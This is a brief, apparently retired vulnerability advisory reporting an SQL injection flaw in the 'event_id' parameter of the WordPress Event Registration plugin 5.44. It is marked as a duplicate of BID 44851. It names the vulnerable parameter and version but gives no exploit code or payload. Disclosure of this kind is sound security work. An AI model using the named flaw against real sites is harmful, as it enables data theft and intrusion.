Discussion
RETIRED: WordPress Event Registration 'event_id' Parameter SQL Injection Vulnerability
The Event Registration plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
Event Registration 5.44 is vulnerable; other versions may also be affected.
NOTE: This BID has been retired because it is a duplicate of BID 44851 (Event Registration Plugin for WordPress 'event_id' Parameter SQL Injection Vulnerability).
